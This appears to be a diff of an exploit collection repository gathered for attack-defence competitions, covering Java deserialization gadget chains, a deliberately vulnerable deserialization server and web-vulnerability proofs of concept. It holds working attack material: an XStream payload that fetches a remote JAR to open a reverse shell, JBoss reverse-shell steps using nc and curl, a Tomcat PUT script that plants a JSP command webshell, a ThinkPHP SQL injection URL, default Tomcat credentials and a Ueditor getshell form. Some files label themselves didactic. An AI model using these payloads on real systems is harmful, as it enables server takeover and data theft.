* transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser
*
**** USAGE ****
*
* Compilando:
* $ javac -cp .:commons-collections-3.2.1.jar SleepExample.java
*
* Executando
* $ java -cp .:commons-collections-3.2.1.jar SleepExample
*
*
* @author @joaomatosf
*/
public class SleepExample {
@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {
// Cria array de Transformers que irá resultar na seguinte construção:
//Thread.class.getMethod("sleep", new Class[]{Long.TYPE}).invoke(null, new Object[]{10000L});
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Thread.class), // retorna class Thread.class
// 1o. Objeto InvokerTransformer: getMethod("sleep", new Class[]{Long.TYPE})
new InvokerTransformer(
"getMethod", // invoca método getMethod
( new Class[] {String.class, Class[].class } ), // tipos dos parâmetros: (String, Class[])
( new Object[] {"sleep", new Class[]{Long.TYPE} } ) // parâmetros: (sleep, new Class[]{Long.TYPE})
),
// 2o. Objeto InvokerTransformer: invoke(null, new Object[]{10000L})
new InvokerTransformer(
"invoke", // invoca método: invoke
(new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
(new Object[] {null, new Object[] {10000L} }) // parâmetros: (null, new Object[] {10000L})
)
};
// Cria o objeto ChainedTransformer com o array de Transformers:
Transformer transformerChain = new ChainedTransformer(transformers);
// Cria o map
Map map = new HashMap();
// Decora o map com o LazyMap e a cadeia de transformações como factory
Map lazyMap = LazyMap.decorate(map,transformerChain);
// Usa reflexão para obter referencia da classe AnnotationInvocationHandler
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
// Torna o construtor acessível
ctor.setAccessible(true);
// Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
// type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
// memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);
//cria a interface map
Class[] interfaces = new Class[] {java.util.Map.class};
// cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);
// cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
// esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
// método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);
// Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
// o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
// No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
// com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
System.out.println("Saving serialized object in SleepExample.ser");
FileOutputStream fos = new FileOutputStream("SleepExample.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(handlerProxy);
oos.flush();
}
}

View File

@ -0,0 +1,42 @@
import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
/**
* Um dos gadgets usados no exemplo didático que demonstra como desviar o
* fluxo de execucão durante a desserialização (utilizando Dynamic Proxy).
* O método invoke() desta classe é alcançado quando o readObject da classe
* ForgottenClass invoca um método em um campo controlado pelo usuário (map.entrySet())
* O campo irá conter um Proxy entre a interface Map e este InvocationHandler.
*
* -----------------------------------------------------------------------
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* https://www.h2hc.com.br/revista/
* -----------------------------------------------------------------------
*
*
* @author @joaomatosf
*/
public class SomeInvocationHandler implements InvocationHandler, Serializable {
private String cmd;
// metodo invoke não é um magic method (ou seja, *não* é invocado automaticamente
// durante a desserialização. Porém, pode ser alcançado por meio de um Dynamic Proxy.
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("-------------------------------------------");
System.out.println("Invoke method reached! This method can do something dangerous!");
Runtime.getRuntime().exec(cmd);
return null;
}
// magic method invocado automaticamente durante a desserialização de objetos
// deste tipo
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
System.out.println("-------------------------------------------");
System.out.println("The flow is in SomeInvocationHandler.readObject()");
}
}

View File

@ -0,0 +1,42 @@
import java.io.*;
/**
* Exemplo simples que demonstra a desserialização nativa de um objeto
* salvo em um arquivo. Observe que, durante a desserialização, o método
* readObject da classe Alien (que é o tipo do Objeto sendo desserializado)
* é automaticamente invocado - por isso, chamado de magic method.
*
* -----------------------------------------------------------------------
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* https://www.h2hc.com.br/revista/
* ----------------------------------------------------------------------- *
*
* **** USAGE ****
*
* Compilando:
* $ javac TestDeserialize.java
*
* Executando
* $ java TestDeserialize
*
* OBS: lembre de executar o exemplo TestSerialize antes, de forma
* a gerar o objeto serializado no arquivo (ET_object.ser), que
* será desserializado por este exemplo.
*
*
* @author @joaomatosf
*/
public class TestDeserialize {
public static void main(String[] args)
throws IOException, ClassNotFoundException {
// Obtem stream de bytes a partir do arquivo salvo em disco
FileInputStream fis = new FileInputStream("ET_object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
// Realiza a desserialização! Nesse momento, os magic methods da classe
// Alien serão automaticamente invocados! (ie. readObject)
Alien ET = (Alien) ois.readObject(); // <-- Realiza a desserializacao
System.out.println("Hi, I'm "+ET.name+" from "+ET.source);
}
}

View File

@ -0,0 +1,44 @@
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
/**
* Exemplo simples que demonstra a serializacao nativa de um objeto
* e o salva em um arquivo. Observe que, durante a serializacao, o método
* writeObject da classe Alien (que é o tipo do Objeto sendo serializado)
* é automaticamente invocado.
*
* -----------------------------------------------------------------------
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* https://www.h2hc.com.br/revista/
* -----------------------------------------------------------------------
*
* **** USAGE ****
*
* Compilando:
* $ javac TestSerialize.java
*
* Executando
* $ java TestSerialize
*
* @author @joaomatosf
*/
public class TestSerialize {
public static void main(String[] args)
throws IOException {
// Instancia objeto a ser serializado e atribui
// valores aos seus campos "name" e "source"
Alien ET = new Alien();
ET.name = "Abu ce taí";
ET.source = "Andromeda Galaxy";
// Cria FileOutputStream para armazenar o objeto serializado em um arquivo
FileOutputStream fos = new FileOutputStream("ET_object.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(ET); // <-- Realiza a serializacao
oos.flush();
oos.close();
}
}

View File

@ -0,0 +1,402 @@
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import sun.misc.BASE64Decoder;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.lang.annotation.IncompleteAnnotationException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.net.InetSocketAddress;
import java.net.URLDecoder;
//this import is only for java 1.8
//import java.util.Base64;
import java.security.Key;
import java.util.zip.GZIPInputStream;
/**
* Simples Servidor HTTP que desserializa dados recebidos nos seguintes formatos:
*
* 1) via HTTP POST em formato binário (ou seja, \xAC\xED)
* 2) via HTTP POST como valor de algum parâmetro (eg. "ViewState") nos formatos 1) base64 (rO0...) ou 2) gzip+base64 (H4sI...)
* 3) via cookies (header cookie) nos formatos base64 (rO0) ou gzip+base64 (H4sI) (eg. Cookie: JSESSIONID=rO0... ou Cookie: JSESSIONID=H4sI...)
* 4) via Cookie rememberMe (like Apache Shiro), criptografado com aes-128-cbc e chave hardcoded
* 5) via XML para explorar o XStream
*
* Após a desserialização, ele tenta fazer um cast para Integer, a fim de simular o que
* ocorre em um servidor "real" (erro de casting após a desserialização)
*
*
* OBS: Sobre Apache Shiro, ver:
* https://github.com/apache/shiro/blob/master/crypto/cipher/src/main/java/org/apache/shiro/crypto/JcaCipherService.java
* https://github.com/apache/shiro/blob/8acc82ab4775b3af546e3bbde928f299be62dc23/integration-tests/guice3/src/main/webapp/WEB-INF/shiro.ini
* Para geracao do payload, use CommonsCollections2 ou CommonsCollections4 do ysoserial e criptografe com aes-128-cbc
* Se preferir, existem mtos sccripts prontos para geracao do payload, veja:
* ex: https://github.com/leveryd/vulndocker/blob/78ba54edbd2dd81f09bb6d3f03a446555e6b7614/vuln/shiro/shirotest.py
* Análise: http://www.freebuf.com/articles/system/125187.html
*
* -----------------------------------------------------------------------
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* https://www.h2hc.com.br/revista/
* -----------------------------------------------------------------------
*
* **** USAGE ****
*
* Compilando:
* $ javac VulnerableHTTPServer.java -XDignore.symbol.file
*
* Executando
* $ java VulnerableHTTPServer
*
* Ou, caso deseje testar payloads para explorar gadgets de bibliotecas específicas, use o -cp. Exs:
* $ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
* $ java -cp .:xstream-1.4.6.jar:commons-collections-3.2.1.jar VulnerableHTTPServer
*
* @author @joaomatosf
*/
public class VulnerableHTTPServer {
public static void banner(){
System.out.println("* =============================================================== *");
System.out.println("* Simple Java HTTP Server for Deserialization Lab v0.01 *");
System.out.println("* https://github.com/joaomatosf/JavaDeserH2HC *");
System.out.println("* =============================================================== *");
System.out.println("You can inject java serialized objects in the following formats:");
System.out.println(
"\n 1) Binary in HTTP POST (ie \\xAC\\xED). Ex:\n" +
" $ curl 127.0.0.1:8000 --data-binary @ObjectFile.ser\n"+
"\n 2) Base64 or Gzip+Base64 via HTTP POST parameters. Ex:\n" +
" $ curl 127.0.0.1:8000 -d \"ViewState=rO0ABXNy...\"\n"+
" $ curl 127.0.0.1:8000 -d \"ViewState=H4sICAeH...\"\n"+
"\n 3) Base64 or Gzip+Base64 in cookies. Ex:\n"+
" $ curl 127.0.0.1:8000 -H \"Cookie: JSESSIONID=rO0ABXNy...\"\n"+
" $ curl 127.0.0.1:8000 -H \"Cookie: JSESSIONID=H4sICAeH...\"\n"+
"\n 4) Base64 of AES-CBC encrypted with hardcoded Apache Shiro key. Ex:\n" +
" $ curl 127.0.0.1:8000 -H \"Cookie: rememberMe=MTIzNDU2Nzg...\"\n"+
"\n 5) XML for XStream RCE vulnerability/serialization. Ex:\n" +
" $ curl 127.0.0.1:8000 -d @file.xml\n -H \"Content-Type: application/xml\"");
System.out.println("OBS: To test gadgets in specific libraries, run with -cp param. Ex:\n" +
"$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer");
System.out.println("==================================================================");
}
public static void main(String[] args) throws IOException {
banner();
int port = 8000;
HttpServer server = HttpServer.create(new InetSocketAddress(port), 0);
server.createContext("/", new HTTPHandler());
server.setExecutor(null); // creates a default executor
server.start();
System.out.println("\nJRE Version: "+System.getProperty("java.version"));
System.out.println("[INFO]: Listening on port "+port);
System.out.println();
}
static class HTTPHandler implements HttpHandler {
String aesHardedCodeKey = "kPH+bIxk5D2deZiIxcaaaA==";
public void handle(HttpExchange t) throws IOException {
System.out.println("[INFO]: Received "+t.getRequestMethod()+" "+t.getRequestURI()+" from: "+t.getRemoteAddress());
String responseMsg = null;
boolean containsCookie = t.getRequestHeaders().containsKey("cookie");
// if there's a cookie with serialized java object
if (containsCookie){
String object = t.getRequestHeaders().get("cookie").get(0);
object = getObjectValue(object);
if (object.startsWith("H4sI") || object.startsWith("rO0") )
responseMsg = deserialize(object);
else { // try deserialize aes-cbc encrypted object
byte[] plainText = decryptAES(object,aesHardedCodeKey);
if (plainText == null)
responseMsg = "\nAn error ocurred when decrypting the stream.\n";
else
responseMsg = deserialize(new ByteArrayInputStream(plainText));
}
}
else if (t.getRequestMethod().equals("POST")){
InputStream input = t.getRequestBody();
// take 2 bytes from header to check if it is a raw object
PushbackInputStream pbis = new PushbackInputStream( input, 2 );
byte [] header = new byte[2];
int len = pbis.read(header);
pbis.unread( header, 0, len );
StringBuffer headerResult = new StringBuffer();
for (byte b: header)
headerResult.append(String.format("%02x", b));
// deserialize raw
if (headerResult.toString().equals("aced"))
responseMsg = deserialize(pbis); // deserialize RAW
else{ // deserialize H4sI, rO0,...
// read input into string
InputStreamReader isr = new InputStreamReader(pbis, "utf-8");
BufferedReader br = new BufferedReader(isr);
String body = br.readLine();
String paramName = "";
String object = getObjectValue(body);
if (object.startsWith("H4sI") || object.startsWith("rO0") )
responseMsg = deserialize(object); // deserialize H4sI, rO0...
else if (object.startsWith("<") )
responseMsg = deserializeXStream(object); // xtream
}
}// end if POST
else{
responseMsg = "<html>" +
"\n<title>DeserLab v0.01</title> " +
"\n<br>DeserLab v0.01 - Vulnerable HTTP Server for Deserialization Vulnerabilities Tests." +
"\n<br>See examples at: <a href=\"https://github.com/joaomatosf/JavaDeserH2HC\">https://github.com/joaomatosf/JavaDeserH2HC</a>" +
"\n<br> <form id=\"0\" name=\"inicial\" method=\"post\" action=\"/post\" enctype=\"application/x-www-form-urlencoded\">" +
"\n<bbr> <input type=\"hidden\" name=\"javax.faces.ViewState\" id=\"javax.faces.ViewState\" value=\"H4sI\" />";
}
t.getResponseHeaders().add("Server", "Vulnerable Java HTTP Server v0.01");
t.getResponseHeaders().add("Info", "http://github.com/joaomatosf/JavaDeserH2HC");
t.getResponseHeaders().add("Content-Type", "x-java-serialized-object");
if (t.getRequestURI().getPath().contains("jexws") || t.getRequestURI().getPath().contains("jexinv"))
t.sendResponseHeaders(404, responseMsg.length());
else
t.sendResponseHeaders(200, responseMsg.length());
OutputStream os = t.getResponseBody();
os.write(responseMsg.getBytes());
os.close();
}
public boolean hasParam(String object){
if (object.indexOf("=")<40 && object.indexOf("=")>0 && object.split("=")[1].length() > 4)
return true;
else
return false;
}
public String getParamName(String object){
if (hasParam(object))
return object.substring(0, object.indexOf("=")+1).split("=")[0] + "=";
else
return "";
}
public String getObjectValue(String object){
if (hasParam(object)) {
String paramName = getParamName(object);
return object.split(paramName)[1];
}
else
return object;
}
public String deserialize(String object){
ObjectInputStream ois = null;
InputStream is = null;
GZIPInputStream gis = null;
// if payload is urlencoded
if (object.contains("%2B")) {
try {
object = URLDecoder.decode(object, "UTF-8");
} catch (UnsupportedEncodingException e) {
return "\nInvalid encoding. You should use URL Encode!\n";
}
}
try {
byte[] b64DecodedObj = new BASE64Decoder().decodeBuffer(object);
// This another implementation of Base64 is only for java >= 1.8
//byte[] b64DecodedObj = Base64.getDecoder().decode(object);
is = new ByteArrayInputStream(b64DecodedObj);
}catch (Exception e){
return "\nInvalid Base64!\n";
}
if (object.startsWith("H4sI")) {
try {
gis = new GZIPInputStream(is);
ois = new ObjectInputStream(gis);
} catch (IOException e) {
return "\nThe Stream not contains a Java Object!\n";
}
catch (Exception e) {
return "\nInvalid Gzip stream!\n";
}
}
else {
try {
ois = new ObjectInputStream(is);
}
catch (IOException e ){
return "\nThe Stream not contains a Java Object!\n";
}
catch (Exception e){
return e.toString()+"\n";
}
}
// Deserialization
try{
int number = (Integer) ois.readObject();
}
catch (ClassNotFoundException e) {
return "\nSerialized class not found in classpath\n";
}
catch (IOException e) {
return e.toString()+"\n";
}
catch (ClassCastException e){
e.printStackTrace();
} catch (IncompleteAnnotationException e){
e.printStackTrace();
System.out.println("\n[INFO] This payload not works in JRE >= 8u72. Try another version such as those\n" +
" which use TiedMapEntry + HashSet (by @matthiaskaiser).\n");
return "\nThis payload not works in JRE >= 8u72. Try another version such as those which use TiedMapEntry + HashSet (by @matthiaskaiser).\n";
}
catch (Exception e){
e.printStackTrace();
}
return "\nData deserialized!\n";
}
public String deserialize(InputStream is){
ObjectInputStream ois = null;
try{
ois = new ObjectInputStream(is);
}catch (EOFException e){
e.printStackTrace();
return "\nThe request body not contains a Stream!\n";
} catch (Exception e) {
return e.toString()+"\n";
}
try {
// This cast simulate what occurs in a real server
int number = (Integer) ois.readObject();
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
return "\nSerialized class not found in classpath\n";
} catch (ClassCastException e){
e.printStackTrace();
} catch (IncompleteAnnotationException e){
e.printStackTrace();
System.out.println("\n[INFO] This payload not works in JRE >= 8u72. Try another version such as those\n" +
" which use TiedMapEntry + HashSet (by @matthiaskaiser).\n");
return "\nThis payload not works in JRE >= 8u72. Try another version such as those which use TiedMapEntry + HashSet (by @matthiaskaiser).\n";
}
catch (Exception e){
e.printStackTrace();
}
return "\nData deserialized!\n";
}
public String deserializeXStream(String xml){
Class classXStream = null;
Class classDomDriver = null;
Class classHierarchicalStreamDriver = null;
//Class classJsonHierarchicalStreamDriver = null;
try {
classHierarchicalStreamDriver = Class.forName("com.thoughtworks.xstream.io.HierarchicalStreamDriver");
//classJsonHierarchicalStreamDriver = Class.forName("com.thoughtworks.xstream.io.json.JsonHierarchicalStreamDriver");
classXStream = Class.forName("com.thoughtworks.xstream.XStream");
classDomDriver = Class.forName("com.thoughtworks.xstream.io.xml.DomDriver");
//Constructor ctrJsonDriver = classJsonHierarchicalStreamDriver.getDeclaredConstructor();
Constructor ctrDomDriver = classDomDriver.getDeclaredConstructor();
Constructor ctrXStream = classXStream.getDeclaredConstructor(classHierarchicalStreamDriver);
Object domDriverInstance = ctrDomDriver.newInstance();
//Object jsonDriverInstance = ctrJsonDriver.newInstance();
Object xstreamInstance = ctrXStream.newInstance(domDriverInstance);
//Desativado json...
//if (xml.startsWith("<"))
//xstreamInstance = ctrXStream.newInstance(domDriverInstance);
//else
// xstreamInstance = ctrXStream.newInstance(jsonDriverInstance);
Method m = xstreamInstance.getClass().getMethod("fromXML", String.class);
m.invoke(xstreamInstance, xml);
} catch (ClassNotFoundException e) {
e.printStackTrace();
return "\nXStream lib not found in classpath. You must add \"xstream-1.4.6.jar\" in -cp param. Ex: \n" +
"java -cp .:xstream-1.4.6.jar:commons-collections-3.2.1.jar VulnerableServer\n\n";
} catch (Exception e){
e.printStackTrace();
return "\nError deserializing XML...\n";
}
return "\nXML deserialized!\n";
}
public byte[] decryptAES(String object, String aesKey){
byte[] iv = new byte[16];
String algorithmName = "AES";
byte[] cipherText = null;
byte[] plainTextWithIV = null;
byte[] plainText = null;
byte[] key = null;
try {
// first decode object from base64
cipherText = new BASE64Decoder().decodeBuffer(object);
// use the same harded code key from apache shino
key = new BASE64Decoder().decodeBuffer(aesKey);
} catch (Exception e) { e.printStackTrace(); return null; }
try {
IvParameterSpec ivSpec = new IvParameterSpec(iv);
Key keySpec = new SecretKeySpec(key, algorithmName);
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.DECRYPT_MODE, keySpec,ivSpec);
// decrypt ciphertext and put the IV in the header
plainTextWithIV = cipher.doFinal(cipherText);
// remove the iv from header of plaintext in order to deserialize it later
plainText = new byte[plainTextWithIV.length - iv.length];
System.arraycopy(plainTextWithIV, iv.length, plainText, 0, plainText.length);
return plainText;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
}

View File

@ -0,0 +1,67 @@
<!--
Payload com gadget chain para carregar e executar uma classe remota
(hospedada pelo testador). Neste exemplo, é usada a classe JexReverse,
do componente http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar,
a fim de obter uma reverse shell independente de plataforma (Windows ou *nix).
Neste exemplo é usado um HashMap como trigger gadget, o qual permite atingir
o método hashCode de um TiedMapEntry que, por sua vez, aciona o método .get()
de um LazyMap decorado com a ChainedTransformers.
Esse XML pode ser usado para validação/exploração de sistemas que realizam a
desserialização usando o XStream. O propósito é unica e exclusivamente DIDATICO!
NAO utilize em sistemas que você não tenha autorização!
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* https://www.h2hc.com.br/revista/
* https://github.com/joaomatosf/JavaDeserH2HC
* @joaomatosf
-->
<set>
<org.apache.commons.collections.keyvalue.TiedMapEntry>
<map class="org.apache.commons.collections.map.LazyMap" serialization="custom">
<unserializable-parents/>
<org.apache.commons.collections.map.LazyMap>
<default>
<factory class="org.apache.commons.collections.functors.ChainedTransformer">
<iTransformers>
<org.apache.commons.collections.functors.ConstantTransformer>
<iConstant class="java-class">java.net.URLClassLoader</iConstant>
</org.apache.commons.collections.functors.ConstantTransformer>
<org.apache.commons.collections.functors.InstantiateTransformer>
<iParamTypes>
<java-class>[Ljava.net.URL;</java-class>
</iParamTypes>
<iArgs>
<url-array>
<url>http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar</url>
</url-array>
</iArgs>
</org.apache.commons.collections.functors.InstantiateTransformer>
<org.apache.commons.collections.functors.InvokerTransformer>
<iMethodName>loadClass</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
</iParamTypes>
<iArgs>
<string>JexReverse</string>
</iArgs>
</org.apache.commons.collections.functors.InvokerTransformer>
<org.apache.commons.collections.functors.InstantiateTransformer>
<iParamTypes>
<java-class>java.lang.String</java-class>
<java-class>int</java-class>
</iParamTypes>
<iArgs>
<string>YOUR_BOX_IP</string>
<int>PORT_LISTENING</int>
</iArgs>
</org.apache.commons.collections.functors.InstantiateTransformer>
</iTransformers>
</factory>
</default>
<map/>
</org.apache.commons.collections.map.LazyMap>
</map>
<key class="string">foo</key>
</org.apache.commons.collections.keyvalue.TiedMapEntry>
</set>

View File

@ -0,0 +1,12 @@
# JbossAS 5.x/6.x反序列化远程命令执行漏洞(CVE-2017-12149)
* Github[https://github.com/joaomatosf/JavaDeserH2HC](https://github.com/joaomatosf/JavaDeserH2HC)
* [https://access.redhat.com/security/cve/cve-2017-12149](https://access.redhat.com/security/cve/cve-2017-12149)
* 工具GUI[http://scan.javasec.cn/java/jboss_CVE-2017-12149.zip](http://scan.javasec.cn/java/jboss_CVE-2017-12149.zip)
## 漏洞利用
1: `javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java`
2: `java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port` //反弹shell的IP和端口,然后会生成一个ReverseShellCommonsCollectionsHashMap.ser文件
3: 打开另外一个终端并且nc开始设置的反弹shell的IP
4: `curl 网址/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser`

View File

@ -9,3 +9,9 @@
4. Thinkphp RCE [https://github.com/helloexp/0day](https://github.com/helloexp/0day/tree/master/Thinkphp)
5. Windows RCE [https://github.com/smgorelik/Windows-RCE-exploits](https://github.com/smgorelik/Windows-RCE-exploits)
6. shiro 发序列化 [https://github.com/helloexp/0day/tree/master/shiro](https://github.com/helloexp/0day/tree/master/shiro)
## 为什么发起这个项目?
几个月前我参加了一场AWD攻防比赛发现提前收集POC对比赛有好处而且在收集这些 `payload` 的同时,也能学到许多东西.
## 问题反馈
在使用中有任何问题,欢迎反馈给我,可以直接发起 PR或issue

Binary file not shown.

After

Width:  |  Height:  |  Size: 18 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 42 KiB

View File

@ -0,0 +1,18 @@
# ThinkPHP 3.2.3 缓存漏洞
* [https://bbs.pediy.com/thread-220375.htm](https://bbs.pediy.com/thread-220375.htm)
* [https://www.seebug.org/vuldb/ssvid-96340](https://www.seebug.org/vuldb/ssvid-96340)
* 官方声明[http://www.thinkphp.cn/topic/51162.html](http://www.thinkphp.cn/topic/51162.html)
## Usage:
```
%2F%2F%0D%0A payload = //+回车
```
### 换行导致payload逃逸出注释而执行
![Mr5m1th](2.png)
## 修复
`thinkphp\library\think\cache\driver\File.php`
`public function set($name, $value, $expire = null)`方法
![Mr5m1th](1.png)

View File

@ -0,0 +1,13 @@
## Thinkphp框架 < 5.0.16 存在sql注入
### Reference
* https://paper.seebug.org/564/
-------------
### poc
```
ip/index.php/index/index/testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
```

View File

@ -1,4 +1,7 @@
Apache-Tomcat-CVE-12615
漏洞本质Tomcat配置了可写readonly=false导致我们可以往服务器写文件
当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后JSP 文件中的代码将能被服务器执行。
虽然Tomcat对文件后缀有一定检测不能直接写jsp但我们使用一些文件系统的特性如Linux下可用/ windows下空格来绕过了限制
## Apache-Tomcat-CVE-12615
* 漏洞本质Tomcat配置了可写readonly=false导致我们可以往服务器写文件
* 当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法`(例如,将 readonly 初始化参数由默认值设置为 false`,攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后JSP 文件中的代码将能被服务器执行。
* 虽然Tomcat对文件后缀有一定检测不能直接写jsp但我们使用一些文件系统的特性`如Linux下可用/ windows下空格`来绕过了限制

View File

@ -1,67 +1,31 @@
#!/usr/bin/python
# -*- coding: utf-8 -*-
# ver 7.0.81已经验证
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
import random
#! -*- coding:utf-8 -*-
import httplib
import sys
import time
class TestPOC(POCBase):
name = "tomcat code execution"
vulID = ''
author = ['sebao']
vulType = 'code execution'
version = '1.0' # default version: 1.0
references = ''
desc = '''Tomcat代码执行漏洞'''
vulDate = ''
createDate = '2017-9-20'
updateDate = '2017-9-20'
appName = 'Apache Tomcat'
appVersion = '7.0.0 - 7.0.79'
appPowerLink = ''
samples = []
def _attack(self):
result = {}
return self._verify(self)
def _verify(self):
'''verify mode'''
result = {}
a = random.randint(100000, 900000)
b = random.randint(100000, 900000)
body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%out.println({0}+{1});%>''' .format(str(a),str(b))
url = self.url
resp = req.options(url+'/asda',timeout=10)
if 'allow' in resp.headers and resp.headers['allow'].find('PUT') > 0:
shell_url = url + "/" + str(int(time.time())) +'.jsp/'
resp1=req.put(shell_url,body)
print resp1.status_code
resp2=req.get(shell_url[:-1])
c = a + b
if resp1.status_code == 201 and str(c) in resp2.content:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = url
return self.parse_output(result)
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''
try:
conn = httplib.HTTPConnection(sys.argv[1])
conn.request(method='OPTIONS', url='/ffffzz')
headers = dict(conn.getresponse().getheaders())
if 'allow' in headers and \
headers['allow'].find('PUT') > 0 :
conn.close()
conn = httplib.HTTPConnection(sys.argv[1])
url = "/" + str(int(time.time()))+'.jsp/'
#url = "/" + str(int(time.time()))+'.jsp::$DATA'
conn.request( method='PUT', url= url, body=body)
res = conn.getresponse()
if res.status == 201 :
#print 'shell:', 'http://' + sys.argv[1] + url[:-7]
print 'shell:', 'http://' + sys.argv[1] + url[:-1]
elif res.status == 204 :
print 'file exists'
else:
output.fail('Internet nothing returned')
return output
register(TestPOC)
print 'error'
conn.close()
else:
print 'Server not vulnerable'
except Exception,e:
print 'Error:', e

View File

@ -1,11 +0,0 @@
Tomcat支持在后台部署war文件可以直接将webshell部署到web目录下
后台地址默认为 ip/manager/html
Tomcat5默认配置了两个角色tomcat、role1。其中帐号为both、tomcat、role1的默认密码都是tomcat。
Tomcat6默认没有配置任何用户以及角色没办法用默认帐号登录。
Tomcat7默认有tomcat用户 密码为tomcat 拥有直接部署war文件的权限 可以直接上马
Tomcat8中正常安装的情况下默认没有任何用户且manager页面只允许本地IP访问
修复方案:
Tomcat的用户配置文件tomcat-users.xml中进行修改

View File

@ -0,0 +1,11 @@
## Tomcat支持在后台部署war文件可以直接将webshell部署到web目录下
后台地址默认为 `ip/manager/html`
* Tomcat5默认配置了两个角色tomcat、role1。其中帐号为both、tomcat、role1的默认密码都是tomcat。
* Tomcat6默认没有配置任何用户以及角色没办法用默认帐号登录。
* Tomcat7默认有tomcat用户 密码为tomcat 拥有直接部署war文件的权限 可以直接上马
* Tomcat8中正常安装的情况下默认没有任何用户且manager页面只允许本地IP访问
修复方案:
Tomcat的用户配置文件tomcat-users.xml中进行修改

View File

@ -0,0 +1,12 @@
# Ueditor .net GetShell
## POC
```html
<form action="http://xxxxxxxxx/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr:<input type="text" name="source[]" /></p >
<input type="submit" value="Submit" />
</form>
```
**先上传一张包含asp木马的正常图片之后在shell addr中填入该图片的地址并在末尾加入?.aspx如xxx.jpg?.aspx提交后即可getshell**
## Enjoy

View File

@ -1 +1 @@
Usage : python struts2-045.py url cmd
### `Usage : python struts2-045.py url cmd`

View File

@ -1 +1,2 @@
目标站点需要存在struts2-showcase目录
### 利用条件:
* 目标站点需要存在struts2-showcase目录

View File

@ -0,0 +1 @@
### 新版本svn文件泄露 利用.svn目录下的`wc.db`来读取任意文件

View File

@ -0,0 +1,35 @@
#coding=utf8
import hackhttp
import re
import os
import sys
def GetFile(domain,Filename,sha1):
